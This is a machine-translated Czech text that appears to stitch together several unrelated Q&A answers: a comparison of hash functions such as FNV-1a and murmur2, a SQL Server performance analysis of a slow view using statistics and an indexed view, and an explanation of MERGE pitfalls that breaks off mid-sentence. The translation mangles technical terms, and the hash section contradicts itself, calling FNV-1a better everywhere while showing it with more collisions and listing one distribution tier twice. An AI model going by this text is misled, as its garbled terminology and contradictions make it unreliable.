src="https://i.stack.imgur.com/n8r3k.png" alt="enter image description here"></p><p>s výjimkou hashovacích řetězců čísel (<code>"1"</code>, <code>"2"</code>, ..., <code>"216553"</code>) (například <a href="https://web.archive.org/web/20190119000003/https://blogs.msdn.microsoft.com/ericlippert/2003/09/19/arrrrr-capn-eric-be-learnin-about-threadin-the-harrrrd-way/">psč</a> ), kde se ve většině hashovacích algoritmů začínají objevovat vzorce:</p><p><strong> [~ # ~] sdbm [~ # ~] </strong>:</p><p><img src="https://i.stack.imgur.com/1juxp.jpg" alt="enter image description here"></p><p><strong> djb2a </strong>:</p><p><img src="https://i.stack.imgur.com/0wjpn.jpg" alt="enter image description here"></p><p><strong> fnv-1 </strong>:</p><p><img src="https://i.stack.imgur.com/0f4l3.jpg" alt="enter image description here"></p><p>všechny kromě <strong> fnv-1a </strong>, které mi stále vypadají celkem náhodně:</p><p><img src="https://i.stack.imgur.com/wevjm.jpg" alt="enter image description here"></p><p>zdá se, že <strong> murmur2 </strong> má ještě lepší náhodnost s <code>numbers</code> než <code>fnv-1a</code>:</p><p><img src="https://i.stack.imgur.com/jywbf.png" alt="enter image description here"></p><blockquote> <p><em> když se podívám na <code>fnv-1a</code> "number" map, i <strong> think </strong> vidím jemné vertikální vzory. s murmurem nevidím vůbec žádné vzory. co si myslíte? </em></p> </blockquote><hr><p>extra <strong> <code>*</code> </strong> v tabulce označuje, jak špatná je náhodnost. s <code>fnv-1a</code> je nejlepší a <strong> <code>djb2x</code> </strong> je nejhorší:</p><pre><code> murmur2: . fnv-1a: . fnv-1: ▪ djb2: ▪▪ djb2a: ▪▪ sdbm: ▪▪▪ superfasthash: . crc: ▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪ loselose: ▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪ ▪ ▪▪▪▪▪▪▪▪▪▪▪▪▪ ▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪ ▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪ </code></pre><p>původně jsem napsal tento program, abych se rozhodl, jestli jsem dokonce musel <em> worry </em> o kolizích: ano.</p><p>a pak se ukázalo, že hashovací funkce byly dostatečně náhodné.</p><h2>algoritmus fnv-1a</h2><p>hash fnv1 přichází ve variantách, které vracejí 32, 64, 128, 256, 512 a 1024 bitů hashe.</p><p> <a href="http://en.wikipedia.org/wiki/fowler%e2%80%93noll%e2%80%93vo\_hash\_function">fnv-1a algoritmus</a> je:</p><pre><code>hash = fnv\_offset\_basis for each octetofdata to be hashed hash = hash xor octetofdata hash = hash * fnv\_prime return hash </code></pre><p>kde konstanty <code>fnv\_offset\_basis</code> a <code>fnv\_prime</code> záleží na požadované velikosti hash:</p><pre><code>hash size  32-bit prime: 2^24 + 2^8 + 0x93 = 16777619 offset: 2166136261 64-bit prime: 2^40 + 2^8 + 0xb3 = 1099511628211 offset: 14695981039346656037 128-bit prime: 2^88 + 2^8 + 0x3b = 309485009821345068724781371 offset: 144066263297769815596495629667062367629 256-bit prime: 2^168 + 2^8 + 0x63 = 374144419156711147060143317175368453031918731002211 offset: 100029257958052580907070968620625704837092796014241193945225284501741471925557 512-bit prime: 2^344 + 2^8 + 0x57 = 35835915874844867368919076489095108449946327955754392558399825615420669938882575126094039892345713852759 offset: 9659303129496669498009435400716310466090418745672637896108374329434462657994582932197716438449813051892206539805784495328239340083876191928701583869517785 1024-bit prime: 2^680 + 2^8 + 0x8d = 5016456510113118655434598811035278955030765345404790744303017523831112055108147451509157692220295382716162651878526895249385292291816524375083746691371804094271873160484737966720260389217684476157468082573 offset: 1419779506494762106872207064140321832088062279544193396087847491461758272325229673230371772250864096521202355549365628174669108571814760471015076148029755969804077320157692458563003215304957150157403644460363550505412711285966361610267868082893823963790439336411086884584107735010676915 </code></pre><p>podrobnosti viz <a href="http://www.isthe.com/chongo/tech/comp/fnv/index.html#fnv-param">hlavní stránka fnv</a> .</p><p>všechny mé výsledky jsou u 32bitové varianty.</p><h2>fnv-1 lepší než fnv-1a?</h2><p>ne. fnv-1a je všude lepší. při použití korpusu anglického slova došlo k dalším kolizím s fnv-1a:</p><pre><code>hash word collisions   fnv-1 1 fnv-1a 4 </code></pre><p>nyní porovnejte malá a velká písmena:</p><pre><code>hash lowercase word collisions uppercase word collisions    fnv-1 1 9 fnv-1a 4 11 </code></pre><p>v tomto případě fnv-1a není <em> "400%" </em> horší než fn-1, pouze o 20% horší.</p><p>myslím, že důležitější s sebou je, že existují dvě třídy algoritmů, pokud jde o kolize:</p><ul> <li><strong> vzácné srážky </strong>: fnv-1, fnv-1a, djb2, djb2a, sdbm</li> <li><strong> běžné srážky </strong>: superfasthash, loselose</li> </ul><p>a pak je tu, jak rovnoměrně jsou hashe:</p><ul> <li><strong> vynikající distribuce: </strong> murmur2, fnv-1a, superfasthas</li> <li><strong> vynikající distribuce: </strong> fnv-1</li> <li><strong> dobrá distribuce: </strong> sdbm, djb2, djb2a</li> <li><strong> hrozné rozdělení: </strong> loselose</li> </ul><hr><p><strong> aktualizace </strong></p><p>mumlání? <em> jistě, proč ne </em></p><hr><p><strong> aktualizace </strong></p><p>@whatshisname přemýšlel, jak by <strong> crc32 </strong> provedl přidaná čísla do tabulky.</p><p>crc32 je <em> celkem dobrá </em>. několik kolizí, ale pomalejší, a režie 1k tabulky vyhledávání.</p><p><em> vystřihněte všechny chybné informace o distribuci crc - můj špatný </em></p><hr><p>až do dneška jsem měl v úmyslu používat fnv-1a jako můj <em> de facto </em> hash-hashovací algoritmus tabulky. ale teď přecházím na murmur2:</p><ul> <li>rychleji</li> <li>lepší <em> randomnessification </em> všech tříd vstupů</li> </ul><p>a opravdu, <em> opravdu </em> doufám, že je něco špatného s <a href="http://landman-code.blogspot.ca/2008/06/superfasthash-from-paul-hsieh.html"><code>superfasthash</code> algoritmus, který jsem našel</a> ; je příliš špatné na to, aby byl tak populární, jak je.</p><p><strong> aktualizace: </strong> z <a href="http://code.google.com/p/smhasher/wiki/murmurhash3">domovská stránka murmurhash3 na googl</a> :</p><blockquote> <p>(1) - superfasthash má velmi špatné kolizní vlastnosti, které byly dokumentovány jinde.</p> </blockquote><p>takže to nejsem jen já.</p><p><strong> aktualizace: </strong> uvědomil jsem si, proč je <code>murmur</code> rychlejší než ostatní. murmurhash2 pracuje na čtyřech bytech najednou. většina algoritmů je <em> byte byte </em>:</p><pre><code>for each octet in key addtheoctettothehash </code></pre><p>to znamená, že jak se klíče prodlužují, murmur dostane svou šanci září.</p><hr><p><strong> aktualizace </strong></p><h2> <a href="http://blogs.msdn.com/b/oldnewthing/archive/2012/05/23/10309199.aspx">guid jsou navrženy tak, aby byly jedinečné, nikoli náhodné</a> </h2><p>včasný příspěvek od raymonda chena opakuje skutečnost, že guid <em> "random" </em> guid nejsou určeny pro jejich náhodnost. oni nebo jejich podmnožina jsou nevhodní jako hashovací klíč:</p><blockquote> <p>ani u verze 4 guid algoritmus není zaručeno, že bude nepředvídatelný, protože tento algoritmus nespecifikuje kvalitu generátoru náhodných čísel. <a href="http://en.wikipedia.org/wiki/globally\_unique\_identifier">článek wikipedia pro guid obsahuje primární výzkum, který navrhuje</a> , že budoucí a předchozí guid lze předpovídat na základě znalosti stavu generátoru náhodných čísel, protože generátor není kryptograficky silný.</p> </blockquote><p>náhodnost není totéž jako vyhýbání se kolizi; což je důvod, proč by bylo chybou pokusit se vymyslet svůj vlastní „hashovací“ algoritmus tím, že vezme nějakou podskupinu „náhodného“ průvodce:</p><pre><code>int hashkeyfromguid(guid type4uuid) { //a "4" is put somewhere in the guid. //i can't remember exactly where, but it doesn't matter for //the illustrative purposes of this pseudocode int guidversion = ((type4uuid.d3 &amp; 0x0f00) &gt;&gt; 8); assert(guidversion == 4); return (int)getfirstfourbytesofguid(type4uuid); } </code></pre><p><strong> poznámka </strong>: znovu jsem v uvozovkách uvedl <em> "náhodné guid" </em>, protože se jedná o "náhodnou" variantu guid. přesnější popis by byl <code>type 4 uuid</code>. ale nikdo neví, co je typu 4 nebo typu 1, 3 a 5. takže je to jednodušší nazvat je „náhodnými“ guid.</p><h1>všechna anglická slova zrcadla</h1><ul> <li> <a href="https://web.archive.org/web/20070221060514/http://www.sitopreferito.it/html/all\_english\_words.html">https://web.archive.org/web/20070221060514/http://www.sitopreferito.it/html/all\_english\_words.html</a> </li> <li> <a href="https://drive.google.com/file/d/0b3blwu7vb2u-dew1vkuxc3u4sg8/view?usp=sharing">https://drive.google.com/file/d/0b3blwu7vb2u-dew1vkuxc3u4sg8/view?usp=sharing</a> </li> </ul> <p>v plánech provádění byste se neměli příliš spoléhat na procenta nákladů. jedná se o <em> vždy odhadované náklady</em>, a to i v plánech po provedení s „skutečnými“ čísly pro věci, jako je počet řádků. odhadované náklady jsou založeny na modelu, který funguje velmi dobře pro účel, pro který je určen: umožnění optimalizátoru zvolit mezi různými plány provádění kandidátů pro stejný dotaz. informace o nákladech jsou zajímavé a faktor, který je třeba zvážit, ale zřídka by měla být primární metrikou pro ladění dotazů. interpretace informací plánu provádění vyžaduje širší pohled na prezentovaná data.</p><p><strong> itemtran clustered index seek operator </strong></p><p><img src="https://i.stack.imgur.com/lvet6.jpg" alt="itemtran clustered index seek"></p><p>tento operátor jsou skutečně dvě operace v jednom. nejprve operace vyhledávání indexu najde všechny řádky, které odpovídají predikátu <code>product\_code\_v42 = 'm10bolt'</code>, pak každý řádek použije zbytkový predikát <code>bit\_field\_v41 &amp; 4 = 0</code>. dochází k implicitní konverzi <code>bit\_field\_v41</code> z jejího základního typu (<code>tinyint</code> nebo <code>smallint</code>) na <code>integer</code>.</p><p>k převodu dochází, protože <a href="https://msdn.microsoft.com/en-us/library/ms174965.aspx">bitový operátor and</a> (&amp;) vyžaduje, aby oba operandy byly stejného typu. implicitní typ konstantní hodnoty '4' je celé číslo a <a href="https://msdn.microsoft.com/en-us/library/ms190309.aspx">pravidla priority datového typ</a> znamená, že je převedena hodnota pole <code>bit\_field\_v41</code> s nižší prioritou.</p><p>problém (jako je) se snadno opraví zápisem predikátu jako <code>bit\_field\_v41 &amp; convert(tinyint, 4) = 0</code> - což znamená, že konstantní hodnota má nižší prioritu a je převedena (během konstantního skládání) spíše než hodnota sloupce. pokud je <code>bit\_field\_v41</code> <code>tinyint</code>, nedojde k žádné konverzi. podobně lze použít funkci <code>convert(smallint, 4)</code>, pokud <code>bit\_field\_v41</code> je <code>smallint</code>. to znamená, že v tomto případě <em> převod není problém s výkonem</em>, ale stále je dobrým zvykem porovnávat typy a vyhýbat se implicitním převodům tam, kde je to možné.</p><p>hlavní část odhadovaných nákladů na toto hledání je až do velikosti základní tabulky. zatímco seskupený klíč indexu je sám o sobě poměrně úzký, velikost každého řádku je velká. definice tabulky není uvedena, ale pouze sloupce použité v pohledu přidávají významnou šířku řádku. protože seskupený index zahrnuje všechny sloupce, vzdálenost mezi seskupenými klíči indexu je šířka <em> řádek</em>, nikoli šířka <em> indexové klíče</em>. použití přípon přípon verzí v některých sloupcích naznačuje, že skutečná tabulka obsahuje ještě více sloupců pro předchozí verze.</p><p>když se podíváme na sloupce vyhledávání, zbytkového predikátu a výstupu, výkon tohoto operátora lze zkontrolovat izolovaně vytvořením ekvivalentního dotazu (<code>1 &lt;&gt; 2</code> je trik, který zabraňuje auto-parametrizaci, rozpor je odstraněn optimalizátorem a nezobrazí se v plánu dotazů):</p><pre><code>select it.booking\_no\_v32, it.qtycheckedout, it.qtyreturned, it.trans\_qty, it.trans\_type\_v41 from dbo.tblitemtran as it where 1 &lt;&gt; 2 and it.product\_code\_v42 = 'm10bolt' and it.bit\_field\_v41 &amp; convert(tinyint, 4) = 0; </code></pre><p>výkon tohoto dotazu se studenou datovou mezipamětí je zajímavý, protože čtení (forward) by bylo ovlivněno fragmentací tabulky (seskupený index). klastrovací klíč pro tuto tabulku vyzývá k fragmentaci, takže by mohlo být důležité tento index pravidelně udržovat (reorganizovat nebo znovu sestavovat) a pomocí vhodného <code>fillfactor</code> umožnit místo pro nové řádky mezi okny údržby indexů.</p><p>provedl jsem test účinku fragmentace na čtení předem pomocí vzorových dat generovaných pomocí <a href="https://www.red-gate.com/products/sql-development/sql-data-generator/">sql data generator</a> . při použití stejného počtu řádků tabulky, jaké jsou uvedeny v plánu dotazů na otázku, vyústil vysoce fragmentovaný klastrovaný index do <code>select * from view</code> po 15 sekundách po <code>dbcc dropcleanbuffers</code>. stejný test za stejných podmínek s čerstvě obnoveným seskupeným indexem v tabulce itemtrans byl dokončen za 3 sekundy.</p><p>pokud jsou data tabulky obvykle zcela v mezipaměti, je problém fragmentace mnohem méně důležitý. ale i při nízké fragmentaci mohou široké řádky tabulky znamenat, že počet logických a fyzických čtení je mnohem vyšší, než by se dalo očekávat. můžete také experimentovat s přidáním a odebráním explicitního <code>convert</code>, abyste potvrdili mé očekávání, že implicitní problém s převodem zde není důležitý, s výjimkou porušení doporučených postupů.</p><p>více k tomuto bodu je odhadovaný počet řádků opouštějících operátora vyhledávání. odhad času optimalizace je 165 řádků, ale v době provedení bylo vyrobeno 4 226 kusů. k tomuto bodu se vracím později, ale hlavním důvodem nesrovnalosti je to, že selektivita zbytkového predikátu (zahrnující bitový-and) je pro optimalizátor velmi obtížná předvídat - ve skutečnosti se uchyluje k hádání.</p><p><strong> operátor filtru </strong></p><p><img src="https://i.stack.imgur.com/mayng.jpg" alt="filter operator"></p><p>zobrazuji zde predikát filtru většinou, abych ilustroval, jak jsou dva seznamy <code>not in</code> kombinovány, zjednodušeny a poté rozšířeny, a také poskytuji odkaz pro následující diskusi o hašovacích zápasech. testovací dotaz z požadavku lze rozšířit tak, aby zahrnoval jeho účinky a určoval vliv operátora filtru na výkon:</p><pre><code>select it.booking\_no\_v32, it.trans\_type\_v41, it.trans\_qty, it.qtyreturned, it.qtycheckedout from dbo.tblitemtran as it where it.product\_code\_v42 = 'm10bolt' and it.bit\_field\_v41 &amp; convert(tinyint, 4) = 0 and ( ( it.trans\_type\_v41 not in (2, 3, 6, 7, 18, 19, 20, 21, 12, 13, 22) and it.trans\_type\_v41 not in (6, 7) ) or ( it.trans\_type\_v41 not in (6, 7) ) or ( it.trans\_type\_v41 in (6, 7) and it.qtycheckedout = 0 ) or ( it.trans\_type\_v41 in (6, 7) and it.qtycheckedout &gt; 0 and it.trans\_qty - (it.qtycheckedout - it.qtyreturned) &gt; 0 ) ); </code></pre><p>operátor compute scalar v plánu definuje následující výraz (samotný výpočet je odložen, dokud není výsledek vyžadován pozdějším operátorem):</p><pre><code>[expr1016] = (trans\_qty - (qtycheckedout - qtyreturned)) </code></pre><p><strong> hash match operator </strong></p><p>provádění spojení na datových typech znaků není důvodem vysokých odhadovaných nákladů tohoto operátora. popis ssms zobrazuje pouze položku hash keys probe probe, ale důležité detaily jsou v okně ssms properties.</p><p>operátor hash match vytvoří hašovací tabulku s použitím hodnot ve sloupci <code>booking\_no\_v32</code> (build hash keys!) z tabulky itemtran a poté zkoumá shody pomocí sloupce <code>booking\_no</code> (hash keys probe) od tabulka rezervace. popisek ssms by také normálně zobrazoval zbytky sondy, ale text je příliš dlouhý na popis a je jednoduše vynechán.</p><p>rezidua sondy je podobná zbytku pozorovanému po hledání indexu dříve; zbytkový predikát je vyhodnocen na všech řádcích, které hash odpovídají, aby se určilo, zda by měl být řádek předán nadřazenému operátorovi. nalezení hash zápasů v dobře vyvážené hashovací tabulce je extrémně rychlé, ale použití komplexního zbytkového predikátu na každý řádek, který odpovídá, je při porovnání poměrně pomalé. popisek hash match v aplikaci plan explorer zobrazuje podrobnosti, včetně zbytkového výrazu probe:</p><p><img src="https://i.stack.imgur.com/c1nkp.jpg" alt="hash match operator"></p><p>zbytkový predikát je složitý a zahrnuje kontrolu stavu průběhu rezervace, když je sloupec k dispozici v tabulce rezervací. popisek také ukazuje stejný nesoulad mezi odhadovanými a skutečnými počty řádků viděnými dříve v hledání indexu. může se zdát podivné, že většina filtrování se provádí dvakrát, ale je to jen optimistický optimalizátor. neočekává, že části filtru, které lze posunout dolů ze zbytku sondy, odstraní všechny řádky (odhady počtu řádků jsou před a za filtrem stejné), ale optimalizátor ví, že by to mohlo být špatné. pravděpodobnost brzkého filtrování řádků (snížení nákladů na spojení hash) stojí za malou cenu extra filtru. celý filtr nelze posunout dolů, protože obsahuje test na sloupci z tabulky rezervací, ale většinou to může být. úplný test je stále vyžadován v testu zbytkové hodnoty hash pro správnost.</p><p>podceňování počtu řádků je problém pro operátora hash match, protože množství paměti rezervované pro hashovací tabulku je založeno na odhadovaném počtu řádků. pokud je paměť příliš malá pro velikost hashovací tabulky požadované v době běhu (kvůli většímu počtu řádků), hashova tabulka <strong> rekurzivně rozlévá </strong> na fyzickou <em> tempdb</em> úložiště, což často vede k velmi slabému výkonu. v nejhorším případě prováděcí motor zastaví rekurzivní rozlití hashovacích kbelíků a uchytí se k algoritmu <em> velmi pomalý</em> rozlití hash (rekurzivní nebo záchranná opatření) je nejpravděpodobnější příčinou problémů s výkonem nastíněných v otázce (nikoli sloupců spojení typu nebo implicitních konverzí). hlavní příčinou by byl server rezervující příliš málo paměti pro dotaz na základě nesprávného odhadu počtu řádků (kardinality).</p><p>je smutné, že před sql server 2012 není v plánu provádění naznačeno, že operace hašování překročila přidělení paměti (které nemůže být dynamicky růst po rezervování před spuštěním spuštění, i když má server velké množství volné paměti) a musela se přelít do tempdb. je možné monitorovat <a href="https://msdn.microsoft.com/en-us/library/ms190736.aspx">hash warning event class</a> pomocí profiler, ale může být obtížné korelovat varování s konkrétním dotazem.</p><p><strong> oprava problémů </strong></p><p>těmito třemi problémy jsou fragmentace, zbytková složka sondy v operátorovi hašovací shody a nesprávný odhad mohutnosti vyplývající z hádání při hledání indexu.</p><p><strong> doporučené řešení </strong></p><p>zkontrolujte fragmentaci a v případě potřeby ji opravte, naplánujte údržbu tak, aby index zůstal přijatelně organizovaný. obvyklý způsob, jak opravit odhad kardinality, je poskytnout statistiku. v takovém případě optimalizátor potřebuje statistiku kombinace (<code>product\_code\_v42</code>, <code>bitfield\_v41 &amp; 4 = 0</code>). nemůžeme vytvořit statistiky výrazu přímo, takže musíme nejprve vytvořit vypočítaný sloupec pro výraz bitového pole a poté vytvořit manuální statistiku více sloupců:</p><pre><code>alter table dbo.tblitemtran add bit3 as bit\_field\_v41 &amp; convert(tinyint, 4); create statistics [stats dbo.itemtran (product\_code\_v42, bit3)] on dbo.tblitemtran (product\_code\_v42, bit3); </code></pre><p>definice vypočteného sloupcového textu se musí přesně shodovat s textem v definici pohledu, aby se statistika mohla použít, takže by se mělo korigovat zobrazení, aby se vyloučila implicitní konverze, a současně by se mělo dbát na to, aby byla zajištěna shoda textu.</p><p>statistiky ve více sloupcích by měly vést k mnohem lepším odhadům, což výrazně snižuje pravděpodobnost, že operátor hashovací metody použije rekurzivní rozlití nebo algoritmus výpomoci. přidání vypočítaného sloupce (což je operace pouze s metadaty a nezabere žádné místo v tabulce, protože není označeno <code>persisted</code>) a statistika více sloupců je můj nejlepší odhad při prvním řešení.</p><p>při řešení problémů s výkonem dotazů je důležité měřit věci jako uplynulý čas, využití procesoru, logická čtení, fyzická čtení, typy čekání a doby trvání atd. atd. může být také užitečné spustit části dotazu samostatně pro ověření podezření na příčiny, jak je uvedeno výše.</p><p>v některých prostředích, kde není nejdůležitější pohled na data, může být užitečné spustit proces na pozadí, který zhmotňuje celý pohled do tabulky snímků každou tak často. tato tabulka je pouze normální základní tabulka a lze ji indexovat pro čtení dotazů, aniž byste se museli starat o dopad na výkon aktualizace.</p><p><strong> zobrazit indexování </strong></p><p>nenechte se v pokušení přímo indexovat původní pohled. výkon čtení bude úžasně rychlý (jediné hledání v pohledu indexu), ale (v tomto případě) budou všechny problémy s výkonem ve stávajících plánech dotazů přeneseny do dotazů, které upravují všechny sloupce tabulky, na které se v pohledu odkazuje. dotazy, které mění řádky základní tabulky, budou skutečně ovlivněny velmi špatně.</p><p><strong> pokročilé řešení s částečným indexovaným pohledem </strong></p><p>pro tento konkrétní dotaz existuje částečné řešení indexovaného pohledu, které opravuje odhady kardinality a odstraňuje zbytky filtru a sondy, ale je založeno na některých předpokladech o datech (většinou můj odhad na schématu) a vyžaduje odbornou implementaci, zejména pokud jde o vhodné indexy pro podporu plánů údržby indexovaných pohledů. sdílím níže uvedený kód pro zájem, nenavrhuji, abyste jej implementovali bez <em> velmi opatrní</em> analýzy a testování.</p><pre><code>-- indexed view to optimize the main view create view dbo.v1 with schemabinding as select it.id, it.product\_code\_v42, it.trans\_type\_v41, it.booking\_no\_v32, it.trans\_qty, it.qtyreturned, it.qtycheckedout, it.qtyreserved, it.bit\_field\_v41, it.prep\_on, it.from\_locn, it.trans\_to\_locn, it.pdate, it.firstdate, it.ptimeh, it.ptimem, it.retndate, it.bookdate, it.timebookedh, it.timebookedm, it.timebookeds, it.del\_time\_hour, it.del\_time\_min, it.return\_to\_locn, it.return\_time\_hour, it.return\_time\_min, it.assignto, it.assigntype, it.inrack from dbo.tblitemtran as it join dbo.tblbookings as tb on tb.booking\_no = it.booking\_no\_v32 where ( it.trans\_type\_v41 not in (2, 3, 7, 18, 19, 20, 21, 12, 13, 22) and it.trans\_type\_v41 not in (6, 7) and it.bit\_field\_v41 &amp; convert(tinyint, 4) = 0 ) or ( it.trans\_type\_v41 not in (6, 7) and it.bit\_field\_v41 &amp; convert(tinyint, 4) = 0 and tb.bookingprogressstatus = 1 ) or ( it.trans\_type\_v41 in (6, 7) and it.bit\_field\_v41 &amp; convert(tinyint, 4) = 0 and it.qtycheckedout = 0 ) or ( it.trans\_type\_v41 in (6, 7) and it.bit\_field\_v41 &amp; convert(tinyint, 4) = 0 and it.qtycheckedout &gt; 0 and it.trans\_qty - (it.qtycheckedout - it.qtyreturned) &gt; 0 ); go create unique clustered index cuq on dbo.v1 (product\_code\_v42, id); go </code></pre><p>existující pohled se vyladil, aby používal indexované zobrazení výše:</p><pre><code>create view [dbo].[vwreallyslowview2] as select i.booking\_no\_v32 as bkno, i.trans\_type\_v41 as trantype, b.assigned\_to\_v61 as assignbk, b.order\_date as dateo, b.hourbooked as hbooked, b.minbooked as mbooked, b.secbooked as sbooked, i.prep\_on as pon, i.from\_locn as flocn, i.trans\_to\_locn as ttlocn, case i.prep\_on when 'y' then i.pdate else i.firstdate end as prdate, i.ptimeh as prtimeh, i.ptimem as prtimem, case when i.retndate &lt; i.firstdate then i.firstdate else i.retndate end as rdatev, i.bit\_field\_v41 as bitfield, i.firstdate as fdatev, i.bookdate as dbooked, i.timebookedh as tbookh, i.timebookedm as tbookm, i.timebookeds as tbooks, i.del\_time\_hour as dth, i.del\_time\_min as dtm, i.return\_to\_locn as rtlocn, i.return\_time\_hour as rth, i.return\_time\_min as rtm, case when i.trans\_type\_v41 in (6, 7) and i.trans\_qty &lt; i.qtycheckedout then 0 when i.trans\_type\_v41 in (6, 7) and i.trans\_qty &gt;= i.qtycheckedout then i.trans\_qty - i.qtycheckedout else i.trans\_qty end as trqty, case when i.trans\_type\_v41 in (6, 7) then 0 else i.qtycheckedout end as myqtycheckedout, case when i.trans\_type\_v41 in (6, 7) then 0 else i.qtyreturned end as retqty, i.id, b.bookingprogressstatus as bkprog, i.product\_code\_v42, i.return\_to\_locn, i.assignto, i.assigntype, i.qtyreserved, b.deprepon, case b.deprepon when 1 then b.deprepdatetime else i.retndate end as deprepdatetime, i.inrack from dbo.v1 as i with (noexpand) join dbo.tblbookings as b on b.booking\_no = i.booking\_no\_v32 join dbo.tblinvmas as m on i.product\_code\_v42 = m.product\_code; </code></pre><p>příklad dotazu a plán provedení:</p><pre><code>select vrsv.* from dbo.vwreallyslowview2 as vrsv where vrsv.product\_code\_v42 = 'm10bolt'; </code></pre><p><img src="https://i.stack.imgur.com/vg5cz.jpg" alt="new execution plan"></p><p>v novém plánu má hash shoda <em> žádný zbytkový predikát</em>, existuje <em> žádný složitý filtr</em>, <em> žádný zbytkový predikát</em> zapnuto hledat indexované zobrazení a <em> odhady kardinality</em> jsou přesně správné.</p><p>jako příklad toho, jak by byly ovlivněny plány vložení/aktualizace/odstranění, je to plán vložení do tabulky itemtrans:</p><p><img src="https://i.stack.imgur.com/kffk5.jpg" alt="insert plan"></p><p>zvýrazněná část je nová a vyžaduje se pro údržbu indexovaného pohledu. cívka tabulky nahradí vložené řádky základních tabulek pro údržbu indexovaného pohledu. každý řádek je spojen s tabulkou rezervací pomocí hledání seskupeného indexu, poté filtr použije složité predikáty klauzule <code>where</code>, aby se zjistilo, zda je třeba řádek přidat do pohledu. pokud ano, provede se vložení do seskupeného indexu pohledu.</p><p>stejný test <code>select * from view</code> provedený dříve byl dokončen za 150 ms s indexovaným pohledem na místě.</p><p>poslední věc: všiml jsem si, že váš server 2008 r2 je stále v rtm. neopraví to vaše problémy s výkonem, ale <a href="https://www.microsoft.com/en-us/download/details.aspx?id=30437">service pack 2 pro 2008 r2</a> je k dispozici od července 2012 a existuje mnoho dobrých důvodů, jak udržet co nejaktuálnější s aktualizacemi service pack.</p> <p>příkaz <code>merge</code> má složitou syntaxi a ještě složitější implementaci, ale v zásadě jde o spojení dvou tabulek, filtrování dolů na řádky, které je třeba změnit (vložit, aktualizovat nebo smazat), a poté provést požadované změny. vzhledem k těmto vzorovým údajům:</p><pre><code>declare @categoryitem as table ( categoryid integer not null, itemid integer not null, primary key (categoryid, itemid), unique (itemid, categoryid) ); declare @datasource as table ( categoryid integer not null, itemid integer not null primary key (categoryid, itemid) ); insert @categoryitem (categoryid, itemid) values (1, 1), (1, 2), (1, 3), (2, 1), (2, 3), (3, 5), (3, 6), (4, 5); insert @datasource (categoryid, itemid) values (2, 2); </code></pre><p><strong> cíl </strong></p><pre><code>╔════════════╦════════╗ ║ categoryid ║ itemid ║ ╠════════════╬════════╣ ║ 1 ║ 1 ║ ║ 2 ║ 1 ║ ║ 1 ║ 2 ║ ║ 1 ║ 3 ║ ║ 2 ║ 3 ║ ║ 3 ║ 5 ║ ║ 4 ║ 5 ║ ║ 3 ║ 6 ║ ╚════════════╩════════╝ </code></pre><p><strong> zdroj </strong></p><pre><code>╔════════════╦════════╗ ║ categoryid ║ itemid ║ ╠════════════╬════════╣ ║ 2 ║ 2 ║ ╚════════════╩════════╝ </code></pre><p>požadovaným výsledkem je nahrazení dat v cíli daty ze zdroje, ale pouze pro <code>categoryid = 2</code>. po výše uvedeném popisu <code>merge</code> bychom měli napsat dotaz, který spojuje zdroj a cíl pouze na klíče, a filtrovat řádky pouze v klauzulích <code>when</code>:</p><pre><code>merge into @categoryitem as target using @datasource as source on source.itemid = target.itemid and source.categoryid = target.categoryid when not matched by source and target.categoryid = 2 then delete when not matched by target and source.categoryid = 2 then insert (categoryid, itemid) values (categoryid, itemid) output $action, isnull(inserted.categoryid, deleted.categoryid) as categoryid, isnull(inserted.itemid, deleted.itemid) as itemid ; </code></pre><p>to dává následující výsledky:</p><pre><code>╔═════════╦════════════╦════════╗ ║ $action ║ categoryid ║ itemid ║ ╠═════════╬════════════╬════════╣ ║ delete ║ 2 ║ 1 ║ ║ insert ║ 2 ║ 2 ║ ║ delete ║ 2 ║ 3 ║ ╚═════════╩════════════╩════════╝ ╔════════════╦════════╗ ║ categoryid ║ itemid ║ ╠════════════╬════════╣ ║ 1 ║ 1 ║ ║ 1 ║ 2 ║ ║ 1 ║ 3 ║ ║ 2 ║ 2 ║ ║ 3 ║ 5 ║ ║ 3 ║ 6 ║ ║ 4 ║ 5 ║ ╚════════════╩════════╝ </code></pre><p>realizační plán je: <img src="https://i.stack.imgur.com/fovhu.jpg" alt="merge plan"></p><p>všimněte si, že jsou obě tabulky plně naskenovány. můžeme to považovat za neefektivní, protože pouze řádky, kde <code>categoryid = 2</code> bude ovlivněno v cílové tabulce. zde přicházejí varování v books online. jeden chybný pokus o optimalizaci, aby se dotkl pouze nezbytných řádků v cíli, je:</p><pre><code>merge into @categoryitem as target using ( select categoryid, itemid from @datasource as ds where categoryid = 2 ) as source on source.itemid = target.itemid and target.categoryid = 2 when not matched by target then insert (categoryid, itemid) values (categoryid, itemid) when not matched by source then delete output $action, isnull(inserted.categoryid, deleted.categoryid) as categoryid, isnull(inserted.itemid, deleted.itemid) as itemid ; </code></pre><p>logika v klauzuli <code>on</code> je použita jako součást spojení. v tomto případě je spojení úplným vnějším spojením (viz <a href="http://technet.microsoft.com/en-us/library/bb522522%28v=sql.105%29.aspx">tento záznam books online</a> proč). použití kontroly kategorie 2 na cílových řádcích jako součásti vnějšího spojení nakonec povede k odstranění řádků s jinou hodnotou (protože neodpovídají zdroji):</p><pre><code>╔═════════╦════════════╦════════╗ ║ $action ║ categoryid ║ itemid ║ ╠═════════╬════════════╬════════╣ ║ delete ║ 1 ║ 1 ║ ║ delete ║ 1 ║ 2 ║ ║ delete ║ 1 ║ 3 ║ ║ delete ║ 2 ║ 1 ║ ║ insert ║ 2 ║ 2 ║ ║ delete ║ 2 ║ 3 ║ ║ delete ║ 3 ║ 5 ║ ║ delete ║ 3 ║ 6 ║ ║ delete ║ 4 ║ 5 ║ ╚═════════╩════════════╩════════╝ ╔════════════╦════════╗ ║ categoryid ║ itemid ║ ╠════════════╬════════╣ ║ 2 ║ 2 ║ ╚════════════╩════════╝ </code></pre><p>kořenová příčina je ze stejného důvodu, proč se predikáty chovají v klauzuli vnější spojení <code>on</code> odlišně, než když jsou specifikovány v klauzuli <code>where</code>. syntaxe <code>merge</code> (a implementace spojení v závislosti na zadaných klauzulích) jen 